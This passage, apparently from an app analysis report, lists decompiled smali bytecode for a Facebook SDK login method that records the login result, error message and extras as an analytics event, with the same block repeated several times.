                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
